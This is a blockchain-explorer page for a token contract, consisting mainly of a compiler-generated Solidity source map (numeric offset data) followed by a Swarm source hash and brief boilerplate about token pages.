;27715:21:::1;::::0;27690:22:::1;::::0;27771:52:::1;::::0;27800:22:::1;::::0;27820:1:::1;27800:19;:22::i;:::-;27771:24;::::0;;:28:::1;:52::i;:::-;27749:74;;27836:26;27865:59;27922:1;27865:52;27905:11;27865:35;27884:15;;27865:14;:18;;:35;;;;:::i;:59::-;27836:88;;27935:21;27959:47;27994:11;27959:30;27978:10;;27959:14;:18;;:30;;;;:::i;:47::-;27935:71:::0;-1:-1:-1;28017:26:0::1;28046:57;27935:71:::0;28046:38:::1;:14:::0;28065:18;28046::::1;:38::i;:::-;:42:::0;::::1;:57::i;:::-;28017:86:::0;-1:-1:-1;28119:22:0;;28116:104:::1;;28177:22;::::0;28156:64:::1;::::0;28177:22:::1;::::0;::::1;-1:-1:-1::0;;;;;28177:22:0::1;28201:18:::0;28156:20:::1;:64::i;:::-;28236:17:::0;;28233:89:::1;;28289:17;::::0;28268:54:::1;::::0;-1:-1:-1;;;;;28289:17:0::1;28308:13:::0;28268:20:::1;:54::i;:::-;28359:1;28338:18;:22;:41;;;;;28378:1;28364:11;:15;28338:41;28335:104;;;28394:45;28407:11;28420:18;28394:12;:45::i;:::-;-1:-1:-1::0;;19092:16:0;:24;;-1:-1:-1;;;;19092:24:0;;;-1:-1:-1;;;;;;27415:1032:0:o;29649:1817::-;-1:-1:-1;;;;;29861:20:0;;29735:7;29861:20;;;:12;:20;;;;;;29735:7;;;;;;29861:20;;29858:833;;;29910:58;29964:3;29910:49;29921:37;29943:14;;29921:17;;:21;;:37;;;;:::i;:::-;29910:6;;:10;:49::i;:58::-;29898:70;;30003:1;29986:14;;:18;:52;;;;;30021:17;;30008:10;;:30;29986:52;29983:188;;;30072:35;30103:3;30072:26;30083:14;;30072:6;:10;;:26;;;;:::i;:35::-;30059:48;;30126:29;30137:6;30144:10;30126;:29::i;:::-;29858:833;;;-1:-1:-1;;;;;30200:23:0;;;;;;:12;:23;;;;;;;;30197:494;;;30243:5;;-1:-1:-1;;;30243:5:0;;;;:13;;30252:4;30243:13;30240:236;;30299:61;30355:4;30299:51;30310:39;30333:15;;30310:18;;:22;;:39;;;;:::i;30299:61::-;30287:73;;30240:236;;;30398:5;;-1:-1:-1;;;30398:5:0;;;;:14;;30407:5;30398:14;30395:81;;30454:6;30442:18;;30395:81;30511:1;30493:15;;:19;:53;;;;;30529:17;;30516:10;;:30;30493:53;30490:190;;;30580:36;30612:3;30580:27;30591:15;;30580:6;:10;;:27;;;;:::i;:36::-;30567:49;;30635:29;30646:6;30653:10;30635;:29::i;:::-;-1:-1:-1;;;;;30706:20:0;;;;;;:12;:20;;;;;;;;;:47;;-1:-1:-1;;;;;;30730:23:0;;;;;;:12;:23;;;;;;;;30706:47;30703:495;;;30773:12;;:16;30769:418;;30809:10;;30838:283;30862:12;;30858:1;:16;30838:283;;;30943:44;;;;;;9060:19:1;;;9095:12;;;9088:28;;;30971:15:0;9132:12:1;;;9125:28;9169:12;;30943:44:0;;;-1:-1:-1;;30943:44:0;;;;;;;;;30933:55;;30943:44;30933:55;;;;-1:-1:-1;;;;;31030:13:0;;30925:64;31030:13;;;:9;:13;;;;;;30933:55;;-1:-1:-1;31030:20:0;;31048:1;31030:17;:20::i;:::-;-1:-1:-1;;;;;31014:13:0;;;;;;;:9;:13;;;;;;;:36;;;;31078:23;;;;;;-1:-1:-1;;;;;;;;;;;31078:23:0;;;31099:1;1819:25:1;;1807:2;1792:18;;1673:177;31078:23:0;;;;;;;;30876:3;;;;:::i;:::-;;;;30838:283;;;-1:-1:-1;31155:12:0;;:16;;31170:1;31155:16;:::i;:::-;31139:32;;30790:397;30769:418;31213:13;;31210:173;;31288:4;31270:24;;;;:9;:24;;;;;;:39;;31299:9;31270:28;:39::i;:::-;31261:4;31243:24;;;;:9;:24;;;;;;;:66;;;;31329:42;;-1:-1:-1;;;;;31329:42:0;;;-1:-1:-1;;;;;;;;;;;31329:42:0;;;31361:9;1819:25:1;;1807:2;1792:18;;1673:177;31329:42:0;;;;;;;;31210:173;31402:56;31413:44;31443:13;31413:25;:9;31427:10;31413:13;:25::i;:44::-;31402:6;;:10;:56::i;:::-;31395:63;29649:1817;-1:-1:-1;;;;;;;29649:1817:0:o;10358:250::-;10416:7;10440:1;10445;10440:6;10436:47;;-1:-1:-1;10470:1:0;10463:8;;10436:47;10495:9;10507:5;10511:1;10507;:5;:::i;:::-;10495:17;-1:-1:-1;10540:1:0;10531:5;10535:1;10495:17;10531:5;:::i;:::-;:10;10523:56;;;;-1:-1:-1;;;10523:56:0;;10119:2:1;10523:56:0;;;10101:21:1;10158:2;10138:18;;;10131:30;10197:34;10177:18;;;10170:62;-1:-1:-1;;;10248:18:1;;;10241:31;10289:19;;10523:56:0;9917:397:1;10616:132:0;10674:7;10701:39;10705:1;10708;10701:39;;;;;;;;;;;;;;;;;:3;:39::i;28455:658::-;28605:16;;;28619:1;28605:16;;;;;;;;28581:21;;28605:16;;;;;;;;;;-1:-1:-1;28605:16:0;28581:40;;28650:4;28632;28637:1;28632:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;28632:23:0;;;:7;;;;;;;;;;:23;;;;28676:15;;:22;;;-1:-1:-1;;;28676:22:0;;;;:15;;;;;:20;;:22;;;;;28632:7;;28676:22;;;;;:15;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;28666:4;28671:1;28666:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;28666:32:0;;;:7;;;;;;;;;:32;28743:15;;28711:62;;28728:4;;28743:15;28761:11;28711:8;:62::i;:::-;28812:15;;:240;;-1:-1:-1;;;28812:240:0;;-1:-1:-1;;;;;28812:15:0;;;;:66;;:240;;28893:11;;28812:15;;28963:4;;28990;;29026:15;;28812:240;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;29070:35;29087:11;29100:4;29070:35;;;;;;;:::i;:::-;;;;;;;;28510:603;28455:658;:::o;24322:126::-;24414:26;;-1:-1:-1;;;;;24414:18:0;;;:26;;;;;24433:6;;24414:26;;;;24433:6;24414:18;:26;;;;;;;;;;;;;;;;;;;;;24322:126;;:::o;29121:520::-;29301:15;;29269:62;;29286:4;;-1:-1:-1;;;;;29301:15:0;29319:11;29269:8;:62::i;:::-;29374:15;;;29578:14;;29374:259;;-1:-1:-1;;;29374:259:0;;29446:4;29374:259;;;12570:34:1;12620:18;;;12613:34;;;29374:15:0;12663:18:1;;;12656:34;;;12706:18;;;12699:34;-1:-1:-1;;;;;29578:14:0;;;12749:19:1;;;12742:44;29607:15:0;12802:19:1;;;12795:35;29374:15:0;;:31;;29413:9;;12504:19:1;;29374:259:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;29121:520;;:::o;31474:321::-;31588:17;;31574:10;;:31;31571:43;;31474:321;;:::o;31571:43::-;31661:11;;-1:-1:-1;;;;;31661:11:0;31651:22;;;;:9;:22;;;;;;:35;;31678:7;31651:26;:35::i;:::-;31636:11;;-1:-1:-1;;;;;31636:11:0;31626:22;;;;:9;:22;;;;;:60;31710:10;;:23;;31725:7;31710:14;:23::i;:::-;31697:10;:36;31766:11;;31749:38;;1819:25:1;;;-1:-1:-1;;;;;31766:11:0;;;;31749:38;;;-1:-1:-1;;;;;;;;;;;31749:38:0;1807:2:1;1792:18;31749:38:0;;;;;;;31474:321;;:::o;10756:278::-;10842:7;10877:12;10870:5;10862:28;;;;-1:-1:-1;;;10862:28:0;;;;;;;;:::i;:::-;-1:-1:-1;10901:9:0;10913:5;10917:1;10913;:5;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;622:70;567:131;:::o;703:315::-;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1855:316::-;1932:6;1940;1948;2001:2;1989:9;1980:7;1976:23;1972:32;1969:52;;;2017:1;2014;2007:12;1969:52;-1:-1:-1;;2040:23:1;;;2110:2;2095:18;;2082:32;;-1:-1:-1;2161:2:1;2146:18;;;2133:32;;1855:316;-1:-1:-1;1855:316:1:o;2176:456::-;2253:6;2261;2269;2322:2;2310:9;2301:7;2297:23;2293:32;2290:52;;;2338:1;2335;2328:12;2290:52;2377:9;2364:23;2396:31;2421:5;2396:31;:::i;:::-;2446:5;-1:-1:-1;2503:2:1;2488:18;;2475:32;2516:33;2475:32;2516:33;:::i;:::-;2176:456;;2568:7;;-1:-1:-1;;;2622:2:1;2607:18;;;;2594:32;;2176:456::o;3034:180::-;3093:6;3146:2;3134:9;3125:7;3121:23;3117:32;3114:52;;;3162:1;3159;3152:12;3114:52;-1:-1:-1;3185:23:1;;3034:180;-1:-1:-1;3034:180:1:o;3219:247::-;3278:6;3331:2;3319:9;3310:7;3306:23;3302:32;3299:52;;;3347:1;3344;3337:12;3299:52;3386:9;3373:23;3405:31;3430:5;3405:31;:::i;3471:160::-;3536:20;;3592:13;;3585:21;3575:32;;3565:60;;3621:1;3618;3611:12;3565:60;3471:160;;;:::o;3636:315::-;3701:6;3709;3762:2;3750:9;3741:7;3737:23;3733:32;3730:52;;;3778:1;3775;3768:12;3730:52;3817:9;3804:23;3836:31;3861:5;3836:31;:::i;:::-;3886:5;-1:-1:-1;3910:35:1;3941:2;3926:18;;3910:35;:::i;:::-;3900:45;;3636:315;;;;;:::o;3956:180::-;4012:6;4065:2;4053:9;4044:7;4040:23;4036:32;4033:52;;;4081:1;4078;4071:12;4033:52;4104:26;4120:9;4104:26;:::i;4141:388::-;4209:6;4217;4270:2;4258:9;4249:7;4245:23;4241:32;4238:52;;;4286:1;4283;4276:12;4238:52;4325:9;4312:23;4344:31;4369:5;4344:31;:::i;:::-;4394:5;-1:-1:-1;4451:2:1;4436:18;;4423:32;4464:33;4423:32;4464:33;:::i;:::-;4516:7;4506:17;;;4141:388;;;;;:::o;4534:380::-;4613:1;4609:12;;;;4656;;;4677:61;;4731:4;4723:6;4719:17;4709:27;;4677:61;4784:2;4776:6;4773:14;4753:18;4750:38;4747:161;;4830:10;4825:3;4821:20;4818:1;4811:31;4865:4;4862:1;4855:15;4893:4;4890:1;4883:15;4747:161;;4534:380;;;:::o;4919:356::-;5121:2;5103:21;;;5140:18;;;5133:30;5199:34;5194:2;5179:18;;5172:62;5266:2;5251:18;;4919:356::o;6495:127::-;6556:10;6551:3;6547:20;6544:1;6537:31;6587:4;6584:1;6577:15;6611:4;6608:1;6601:15;6627:125;6692:9;;;6713:10;;;6710:36;;;6726:18;;:::i;8742:128::-;8809:9;;;8830:11;;;8827:37;;;8844:18;;:::i;9382:135::-;9421:3;9442:17;;;9439:43;;9462:18;;:::i;:::-;-1:-1:-1;9509:1:1;9498:13;;9382:135::o;9522:168::-;9595:9;;;9626;;9643:15;;;9637:22;;9623:37;9613:71;;9664:18;;:::i;9695:217::-;9735:1;9761;9751:132;;9805:10;9800:3;9796:20;9793:1;9786:31;9840:4;9837:1;9830:15;9868:4;9865:1;9858:15;9751:132;-1:-1:-1;9897:9:1;;9695:217::o;10451:127::-;10512:10;10507:3;10503:20;10500:1;10493:31;10543:4;10540:1;10533:15;10567:4;10564:1;10557:15;10583:251;10653:6;10706:2;10694:9;10685:7;10681:23;10677:32;10674:52;;;10722:1;10719;10712:12;10674:52;10754:9;10748:16;10773:31;10798:5;10773:31;:::i;10839:461::-;10892:3;10930:5;10924:12;10957:6;10952:3;10945:19;10983:4;11012:2;11007:3;11003:12;10996:19;;11049:2;11042:5;11038:14;11070:1;11080:195;11094:6;11091:1;11088:13;11080:195;;;11159:13;;-1:-1:-1;;;;;11155:39:1;11143:52;;11215:12;;;;11250:15;;;;11191:1;11109:9;11080:195;;;-1:-1:-1;11291:3:1;;10839:461;-1:-1:-1;;;;;10839:461:1:o;11305:582::-;11604:6;11593:9;11586:25;11647:6;11642:2;11631:9;11627:18;11620:34;11690:3;11685:2;11674:9;11670:18;11663:31;11567:4;11711:57;11763:3;11752:9;11748:19;11740:6;11711:57;:::i;:::-;-1:-1:-1;;;;;11804:32:1;;;;11799:2;11784:18;;11777:60;-1:-1:-1;11868:3:1;11853:19;11846:35;11703:65;11305:582;-1:-1:-1;;;11305:582:1:o;11892:332::-;12099:6;12088:9;12081:25;12142:2;12137;12126:9;12122:18;12115:30;12062:4;12162:56;12214:2;12203:9;12199:18;12191:6;12162:56;:::i;:::-;12154:64;11892:332;-1:-1:-1;;;;11892:332:1:o;12841:306::-;12929:6;12937;12945;12998:2;12986:9;12977:7;12973:23;12969:32;12966:52;;;13014:1;13011;13004:12;12966:52;13043:9;13037:16;13027:26;;13093:2;13082:9;13078:18;13072:25;13062:35;;13137:2;13126:9;13122:18;13116:25;13106:35;;12841:306;;;;;:::o
Swarm Source
ipfs://fe36f29bf7e5ae1787fb8f301908b5ee384f2ea63e844fa32227f27262f75583
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.